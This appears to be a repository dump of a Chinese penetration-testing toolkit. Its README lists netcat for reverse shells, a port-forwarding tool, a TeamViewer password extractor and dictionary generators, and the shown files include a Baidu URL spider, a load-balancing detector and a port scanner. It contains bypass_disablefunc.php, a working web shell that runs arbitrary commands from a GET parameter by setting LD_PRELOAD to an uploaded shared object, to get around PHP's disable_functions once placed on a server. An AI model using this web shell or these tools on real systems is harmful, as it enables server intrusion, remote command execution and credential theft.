├── BaiDuUrlSpider.py
├── Lcx.exe
├── README.md
├── TV_getpass.exe
├── bypass_disablefunc.php
├── bypass_disablefunc_x64.so
├── cmd.reg
├── lbd
├── lcx
├── nc.exe
├── portscanner.py
├── superdic-cr.exe
├── 亦思社会工程学字典生成器.exe
└── 急速字典去重复.exe
/BaiDuUrlSpider.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | #!/usr/bin/env python
3 | # code by aedoo
4 | # github: https://github.com/aedoo/
5 |
6 | import requests,queue,sys,threading,time
7 | from bs4 import BeautifulSoup
8 | import re
9 |
10 | class BaiDuUrlSpider(threading.Thread):
11 |
12 | def __init__(self,queue):
13 | threading.Thread.__init__(self)
14 | self.__queue = queue
15 |
16 | def run(self):
17 | while not self.__queue.empty():
18 | page_url = self.__queue.get(timeout=0.5)
19 | try:
20 | self.spider(page_url)
21 | except Exception as e:
22 | pass
23 |
24 | def spider(self,page_url):
25 | f1 = open('original_url.txt','a+')
26 | f2 = open('home_url.txt','a+')
27 | r = requests.get(url=page_url, headers=head)
28 |
29 | soup = BeautifulSoup(r.content,'lxml')
30 | raw_url = soup.find_all(name='a',attrs={'data-click':re.compile('.'),'class':None})
31 |
32 | for raw in raw_url:
33 | # print raw['href']
34 | trick_url = raw['href']
35 | response = requests.get(url=trick_url,headers=head,timeout=3)
36 |
37 | if response.status_code==200:
38 | print (response.url)
39 | original_url = response.url
40 |
41 |
42 |
43 | f1.write(original_url+'\n')
44 | url_tmp = response.url
45 | url_list = url_tmp.split('/')
46 | print (url_list[0]+'//'+url_list[2])
47 | home_url = url_list[0]+'//'+url_list[2]
48 | f2.write(home_url+'\n')
49 | else:
50 | print (response.status_code)
51 |
52 | f1.close()
53 | f2.close()
54 |
55 |
56 | def quchong():
57 | rFile = open('home_url.txt','r')
58 | wFile = open('qc_home_url.txt','w') #去重后的txt
59 | allLine = rFile.readlines()
60 | rFile.close()
61 | s = set()
62 | for i in allLine:
63 | s.add(i)
64 | for i in s:
65 | wFile.write(i)
66 |
67 |
68 |
69 |
70 | def main():
71 |
72 | global head
73 | head = {
74 |
75 | 'Connection': 'close',
76 | 'Upgrade-Insecure-Requests': '1',
77 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36',
78 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
79 | 'Accept-Encoding': 'gzip, deflate, sdch, br',
80 | 'Accept-Language': 'zh-CN,zh;q=0.8',
81 | }
82 | q = queue.Queue()
83 | threads = []
84 | threads_count = 200 #设置线程数目,最好不要大于爬取的页码数
85 |
86 | if len(sys.argv)!=2:
87 | print ('python Usage: %s keyword'% sys.argv[0])
88 | sys.exit(-1)
89 | else:
90 | keyword = sys.argv[1]
91 |
92 | for i in range(0,750,10): #百度默认最多75页,每页10个,根据规则定义的
93 | url_start = 'https://www.baidu.com/s?wd=' + keyword + '&pn=%s'%(str(i)) #拼接百度搜索的URL
94 | #url = url_start+str(i)
95 | q.put(url_start)
96 |
97 | for i in range(threads_count):
98 | threads.append(BaiDuUrlSpider(q))
99 |
100 | for i in threads:
101 | i.start()
102 | for i in threads:
103 | i.join()
104 |
105 | if __name__ == '__main__':
106 | f1 = open('original_url.txt','w')
107 | f1.close()
108 | f2 = open('home_url.txt','w')
109 | f2.close()
110 | time_start = time.time()
111 | main()
112 | print (time.time()-time_start)
113 | quchong()
114 |
115 |
--------------------------------------------------------------------------------
/Lcx.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/Lcx.exe
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## 渗透小工具
2 | ### windows
3 | ```
4 | nc.exe #是kali linux里复制出来的。试了几个版本就这个能兼容反弹shell给linux的主机
5 | lcx.exe #端口转发工具
6 | TV_getpass.exe #TeamViewer密码获取
7 | superdic-cr.exe #字典生成
8 | cmd.reg #右键选择文件夹或文件,在该处打开cmd
9 | ```
10 |
11 | ### linux
12 | ```
13 | lcx #Linux 版本的lcx,已经编译好了,`chmod +x lcx `
14 | lbd #从kaki 复制出来的,检测目标是否负载均衡
15 | ```
16 |
17 |
18 | ### 跨平台
19 | ```
20 | portscanner.py #扫描常见的危险端口,可配合proxychains 扫内网端口
21 | BaiDuUrlSpider.py #百度url采集,在他原项目的基础上改为python3运行,并且增加去重功能
22 | ```
23 |
24 | ### PHP
25 | 当PHP禁用命令函数时(php.ini 中用 disable_functions),把下面的两个文件上传到服务器,再访问bypass_disablefunc.php会有详细的使用介绍
26 | ```
27 | bypass_disablefunc.php
28 | bypass_disablefunc_x64.so
29 | ```
30 |
--------------------------------------------------------------------------------
/TV_getpass.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/TV_getpass.exe
--------------------------------------------------------------------------------
/bypass_disablefunc.php:
--------------------------------------------------------------------------------
1 | example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";
3 |
4 | $cmd = $_GET["cmd"];
5 | $out_path = $_GET["outpath"];
6 | $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
7 | echo " cmdline: " . $evil_cmdline . "
";
8 |
9 | putenv("EVIL_CMDLINE=" . $evil_cmdline);
10 |
11 | $so_path = $_GET["sopath"];
12 | putenv("LD_PRELOAD=" . $so_path);
13 |
14 | mail("", "", "", "");
15 |
16 | echo " output:
" . nl2br(file_get_contents($out_path)) . "
";
17 |
18 | unlink($out_path);
19 | ?>
20 |
--------------------------------------------------------------------------------
/bypass_disablefunc_x64.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/bypass_disablefunc_x64.so
--------------------------------------------------------------------------------
/cmd.reg:
--------------------------------------------------------------------------------
1 | REGEDIT4
2 |
3 | [HKEY_CLASSES_ROOT\*\shell\cmdhere]
4 | @="Cmd&Here"
5 |
6 | [HKEY_CLASSES_ROOT\*\shell\cmdhere\command]
7 | @="cmd.exe /c start cmd.exe /k pushd \"%L\\..\""
8 |
9 | [HKEY_CLASSES_ROOT\Folder\shell\cmdhere]
10 | @="Cmd&Here"
11 |
12 | [HKEY_CLASSES_ROOT\Folder\shell\cmdhere\command]
13 | @="cmd.exe /c start cmd.exe /k pushd \"%L\""
14 |
--------------------------------------------------------------------------------
/lbd:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # lbd (load balancing detector) detects if a given domain uses
3 | # DNS and/or HTTP Load-Balancing (via Server: and Date: header and diffs between server answers)
4 | # Copyright (C) 2010-2014 Stefan Behte
5 | #
6 | # This program is free software; you can redistribute it and/or
7 | # modify it under the terms of the GNU General Public License
8 | # as published by the Free Software Foundation; either version 2
9 | # of the License, or (at your option) any later version.
10 | #
11 | # This program is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
19 | #
20 | # License: GNU General Public License, version 2
21 | # http://www.gnu.org/licenses/gpl-2.0.html
22 | #
23 | # Contact me, if you have any new ideas, bugs/bugfixes, recommondations or questions!
24 | # Please also contact me, if you just like the tool. :)
25 | #
26 | # craig at haquarter dot de
27 | #
28 | # 0.1: - initial release
29 | # 0.2: - fix license for fedora
30 | # - fix indenting
31 | # 0.3: - fix bug if dns server returns same IP multiple times
32 | # (fix by bit bori, thanks!)
33 | # - fix bug if there is no date header
34 | # (fix by Paul Rib, thanks!)
35 | # 0.4: - support HTTPs, support different ports
36 | # (thanks Bharadwaj Machiraju)
37 |
38 | QUERIES=50
39 | DOMAIN=$1
40 | PORT=${2-80} # Use default port 80, if not given
41 | if [ "$3" = "https" ]
42 | then
43 | HTTPS=true
44 | else
45 | HTTPS=false
46 | fi
47 | METHODS=""
48 |
49 | echo
50 | echo "lbd - load balancing detector 0.4 - Checks if a given domain uses load-balancing."
51 | echo " Written by Stefan Behte (http://ge.mine.nu)"
52 | echo " Proof-of-concept! Might give false positives."
53 |
54 | if [ "$1" = "" ]
55 | then
56 | echo "usage: $0 domain [port] {https}"
57 | echo
58 | exit -1
59 | fi
60 |
61 | echo -e -n "\nChecking for DNS-Loadbalancing:"
62 | NR=`host $DOMAIN | grep "has add" | uniq | wc -l`
63 |
64 | if [ $NR -gt 1 ]
65 | then
66 | METHODS="DNS"
67 | echo " FOUND"
68 | host $DOMAIN | grep "has add" | uniq
69 | echo
70 | else
71 | echo " NOT FOUND"
72 | fi
73 |
74 | echo -e "Checking for HTTP-Loadbalancing [Server]: "
75 | for ((i=0 ; i< $QUERIES ; i++))
76 | do
77 | if [ $HTTPS = true ]
78 | then
79 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | openssl s_client -host $DOMAIN -port $PORT -quiet > .nlog 2> /dev/null
80 | else
81 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | nc $DOMAIN $PORT > .nlog 2>/dev/null
82 | fi
83 |
84 | S=`grep -i "Server:" .nlog | awk -F: '{print $2}'`
85 |
86 | if ! grep "`echo ${S}| cut -b2-`" .log &>/dev/null
87 | then
88 | echo "${S}"
89 | fi
90 | cat .nlog >> .log
91 | done
92 |
93 | NR=`sort .log | uniq | grep -c "Server:"`
94 |
95 | if [ $NR -gt 1 ]
96 | then
97 | echo " FOUND"
98 | METHODS="$METHODS HTTP[Server]"
99 | else
100 | echo " NOT FOUND"
101 | fi
102 | echo
103 | rm .nlog .log
104 |
105 |
106 | echo -e -n "Checking for HTTP-Loadbalancing [Date]: "
107 | D4=
108 |
109 | for ((i=0 ; i<$QUERIES ; i++))
110 | do
111 | if [ $HTTPS = true ]
112 | then
113 | D=`printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | openssl s_client -host $DOMAIN -port $PORT -quiet 2> /dev/null | grep "Date:" | awk '{print $6}'`
114 | else
115 | D=`printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | nc $DOMAIN $PORT 2>/dev/null | grep "Date:" | awk '{print $6}'`
116 | fi
117 | printf "$D, "
118 |
119 | if [ "$D" == "" ]
120 | then
121 | echo "No date header found, skipping."
122 | break
123 | fi
124 |
125 | Df=$(echo " $D" | sed -e 's/:0/:/g' -e 's/ 0/ /g')
126 | D1=$(echo ${Df} | awk -F: '{print $1}')
127 | D2=$(echo ${Df} | awk -F: '{print $2}')
128 | D3=$(echo ${Df} | awk -F: '{print $3}')
129 |
130 | if [ "$D4" = "" ]; then D4=0; fi
131 |
132 | if [ $[ $D1 * 3600 + $D2 * 60 + $D3 ] -lt $D4 ]
133 | then
134 | echo "FOUND"
135 | METHODS="$METHODS HTTP[Date]"
136 | break;
137 | fi
138 |
139 | D4="$[ $D1 * 3600 + $D2 * 60 + $D3 ]"
140 |
141 | if [ $i -eq $[$QUERIES - 1] ]
142 | then
143 | echo "NOT FOUND"
144 | fi
145 | done
146 |
147 | echo -e -n "\nChecking for HTTP-Loadbalancing [Diff]: "
148 | for ((i=0 ; i<$QUERIES ; i++))
149 | do
150 | if [ $HTTPS = true ]
151 | then
152 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | openssl s_client -host $DOMAIN -port $PORT -quiet 2> /dev/null | grep -v -e "Date:" -e "Set-Cookie" > .nlog
153 | else
154 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | nc $DOMAIN $PORT 2>/dev/null | grep -v -e "Date:" -e "Set-Cookie" > .nlog
155 | fi
156 |
157 | if ! cmp .log .nlog &>/dev/null && [ -e .log ]
158 | then
159 | echo "FOUND"
160 | diff .log .nlog | grep -e ">" -e "<"
161 | METHODS="$METHODS HTTP[Diff]"
162 | break;
163 | fi
164 |
165 | cp .nlog .log
166 |
167 | if [ $i -eq $[$QUERIES - 1] ]
168 | then
169 | echo "NOT FOUND"
170 | fi
171 | done
172 |
173 | rm .nlog .log
174 |
175 |
176 | if [ "$METHODS" != "" ]
177 | then
178 | echo
179 | echo $DOMAIN does Load-balancing. Found via Methods: $METHODS
180 | echo
181 | else
182 | echo
183 | echo $DOMAIN does NOT use Load-balancing.
184 | echo
185 | fi
186 |
187 |
--------------------------------------------------------------------------------
/lcx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/lcx
--------------------------------------------------------------------------------
/nc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/nc.exe
--------------------------------------------------------------------------------
/portscanner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # Author: TheBaconator
4 | # Thanks to Mansoor at digitz.org for some of the help!
5 |
6 | # Importing the modules
7 | # socket :=> This is what we use to create a socket connection
8 | # argparse is used to parse arguments. This is not important now
9 | # and it is out of the scope of this post
10 | import socket,sys,time,datetime,argparse,os
11 | flag = 0 # we're gonna use this flag later. Just keep it in mind
12 | os.system('clear') # Clear the console window
13 | line = "+" * 80 # Just a fancy line consisting '+'
14 | desc = line+'''\nThis port scanner is for educational purposes only and should only
15 | be used on systems that you have permission to scan on. I am not responsible
16 | for any misuse of this port scanner. Happy Scanning!
17 |
18 | Example usage: python port_scanner.py example.com 1 1000
19 | The above example will scan the host \'example.com\' from port 1 to 1000
20 | To scan most common ports, use: python port_scanner.py example.com\n'''+line+"\n"
21 | # Just a description about the script and how to use it
22 |
23 | # I would suggest you to read about "argparse", it comes in handy
24 | # when you want to parse arguments
25 | parser = argparse.ArgumentParser(description = desc, formatter_class=argparse.RawTextHelpFormatter)
26 | parser.add_argument('host', metavar='H', help='Host name you want to scan')
27 | parser.add_argument('startport', metavar='P1', nargs='?', help='Start scanning from this port')
28 | parser.add_argument('endport', metavar='P2', nargs='?',help='Scan until this port')
29 | args = parser.parse_args()
30 |
31 | host = args.host # The host name to scan for open ports
32 | ip = socket.gethostbyname(host) # Converts the host name into IP address
33 |
34 | # args.startpoint corresponds to the first port we will scan
35 | # args.endport corresponds to the last port
36 |
37 | # Here, we're checking if both starting port and ending port is defined
38 | # If it is not defined, we will do a scan over most popular TCP ports.
39 | if (args.startport) and args.endport :
40 | # If this condition is true, the script will scan over this port range
41 | start_port = int(args.startport)
42 | end_port = int(args.endport)
43 | else:
44 | # In this case, the script will scan the most common ports.
45 | # that is, if you did not give any ports as argument.
46 | flag = 1
47 |
48 | open_ports = [] # This list is used to hold the open ports
49 |
50 | # This dictionary contains the most popular ports used
51 | # You can add ports here.
52 | # The key is the port number and the values is the service used by that port
53 | common_ports = {
54 |
55 | '21': 'FTP',
56 | '22': 'SSH',
57 | '23': 'TELNET',
58 | '25': 'SMTP',
59 | '53': 'DNS',
60 | '69': 'TFTP',
61 | '80': 'HTTP',
62 | '88': 'Kerberos',
63 | '102': 'MS Exchange',
64 | '109': 'POP2',
65 | '110': 'POP3',
66 | '123': 'NTP',
67 | '137': 'NETBIOS-NS',
68 | '138': 'NETBIOS-DGM',
69 | '139': 'NETBIOS-SSN',
70 | '143': 'IMAP4',
71 | '156': 'SQL-SERVER',
72 | '161': 'snmp',
73 | '389': 'LDAP',
74 | '443': 'HTTPS',
75 | '445': 'smb',
76 | '464': 'Kerberos',
77 | '546': 'DHCP-CLIENT',
78 | '547': 'DHCP-SERVER',
79 | '873': 'rsync',
80 | '995': 'POP3-SSL',
81 | '993': 'IMAP-SSL',
82 | '1025': 'RPC',
83 | '1080': 'socket',
84 | '1099': 'java rmi',
85 | '1194': 'OpenVPN',
86 | '1352': 'Lotus',
87 | '1433': 'mssql',
88 | '1500': 'ISPmaneger',
89 | '1723': 'PPTP',
90 | '1521': 'oracle',
91 | '2049': 'nfs',
92 | '2086': 'WHM/CPANEL',
93 | '2087': 'WHM/CPANEL',
94 | '2082': 'CPANEL',
95 | '2083': 'CPANEL',
96 | '2181': 'zookeeper',
97 | '2601': 'zebra',
98 | '2604': 'zebra',
99 | '3306': 'MYSQL',
100 | '3690': 'SVN',
101 | '3128': 'squid',
102 | '3389': 'RDP',
103 | '4440': 'rundeck',
104 | '4848': 'glassfish',
105 | '5000': 'sybase',
106 | '5432': 'postgesql',
107 | '5632': 'pcanywhere',
108 | '5900': 'VNC',
109 | '5984': 'CouchDB',
110 | '6379': 'redis',
111 | '7001': 'weblogic',
112 | '8080': 'web',
113 | '8089': 'web',
114 | '8090': 'web',
115 | '8069': 'zabbix',
116 | '8443': 'PLESK',
117 | '8649': 'ganglia',
118 | '8888': 'amh/LuManager',
119 | '9000': 'fcgi',
120 | '9043': 'websphere',
121 | '9200': 'elasticsearch',
122 | '10000': 'VIRTUALMIN/WEBMIN',
123 | '11211': 'memcache',
124 | '27017': 'mongodb',
125 | '28017': 'mongodb',
126 | '50000': 'Upnp',
127 | '50030': 'hadoop',
128 | '50060': 'hadoop'
129 | }
130 |
131 | starting_time = time.time() # Get the time at which the scan was started
132 | print "+" * 73
133 | print "\tSimple Port Scanner..!!!"
134 | print "+" * 73
135 |
136 | if (flag): # The flag is set, that means the user did not provide any ports as argument
137 | print "Scanning for most common ports on %s" % (host)
138 | else:
139 | # The user did specify a port range to scan
140 | print "Scanning %s from port %s - %s: " % (host, start_port, end_port)
141 | print "Scanning started at %s" %(time.strftime("%I:%M:%S %p"))
142 |
143 |
144 | # This is the function that will connect to a port and will check
145 | # if it is open or closed
146 | def check_port(host, port, result = 1):
147 | # The function takes 3 arguments
148 | # host : the IP to scan
149 | # port : the port number to connect
150 | try:
151 | # Creating a socket object named 'sock'
152 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
153 | # Setting socket timeout so that the socket does not wait forever to complete a connection
154 | sock.settimeout(0.5)
155 | # Connect to the socket
156 | # if the connection was successful, that means the port
157 | # is open, and the output 'r' will be zero
158 | r = sock.connect_ex((host, port))
159 | if r == 0:
160 | result = r
161 | sock.close() # closing the socket
162 | except Exception, e:
163 | pass
164 |
165 | return result # returns the result of the scan.
166 |
167 | # This function reads the dictonary of ports and services and
168 | # Checks for the service name corresponding to a port.
169 | def get_service(port):
170 | port = str(port) # converts the int to string
171 | if port in common_ports: # check if the port is available in the common ports dictionary
172 | return common_ports[port] # returns the service name if available
173 | else:
174 | return 0 # return 0 if no service is identified
175 |
176 |
177 | try:
178 | print "Scan in progress.."
179 | print "Connecting to Port: ",
180 |
181 | if flag: # The flag is set, means the user did not give any port range
182 | for p in sorted(common_ports): # So we will scan the common ports.
183 | sys.stdout.flush() # flush the stdout buffer.
184 | p = int(p)
185 | print p,
186 | response = check_port(host, p) # call the function to connect to the port
187 | if response == 0: # The port is open
188 | open_ports.append(p) # append it to the list of open ports
189 | #if not p == end_port:
190 | sys.stdout.write('\b' * len(str(p))) # This is just used to clear the port number displayed. This is not important at all
191 | else:
192 |
193 | # The user did provide a port range, now we have to scan through that range
194 | for p in range(start_port, end_port+1):
195 | sys.stdout.flush()
196 | print p,
197 | response = check_port(host, p) # Call the function to connect to the port
198 | if response == 0: # Port is open
199 | open_ports.append(p) # Append to the list of open ports
200 | if not p == end_port:
201 | sys.stdout.write('\b' * len(str(p)))
202 |
203 | print "\nScanning completed at %s" %(time.strftime("%I:%M:%S %p"))
204 | ending_time = time.time()
205 | total_time = ending_time - starting_time # Calculating the total time used to scan
206 | print "=" * 40
207 | print "\tScan Report: %s" %(host)
208 | print "=" * 40
209 | if total_time <= 60:
210 | total_time = str(round(total_time, 2))
211 | print "Scan Took %s seconds" %(total_time)
212 | else:
213 | total_time = total_time / 60
214 | print "Scan Took %s Minutes" %(total_time)
215 |
216 | if open_ports: # There are open ports available
217 | print "Open Ports: "
218 | for i in sorted(open_ports):
219 | service = get_service(i)
220 | if not service: # The service is not in the disctionary
221 | service = "Unknown service"
222 | print "\t%s %s: Open" % (i, service)
223 | else:
224 | # No open ports were found
225 | print "Sorry, No open ports found.!!"
226 |
227 | except KeyboardInterrupt: # This is used in case the user press "Ctrl+C", it will show the following error instead of a python's scary error
228 | print "You pressed Ctrl+C. Exiting "
229 | sys.exit(1)
230 |
--------------------------------------------------------------------------------
/superdic-cr.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/superdic-cr.exe
--------------------------------------------------------------------------------
/亦思社会工程学字典生成器.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/亦思社会工程学字典生成器.exe
--------------------------------------------------------------------------------
/急速字典去重复.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/急速字典去重复.exe
--------------------------------------------------------------------------------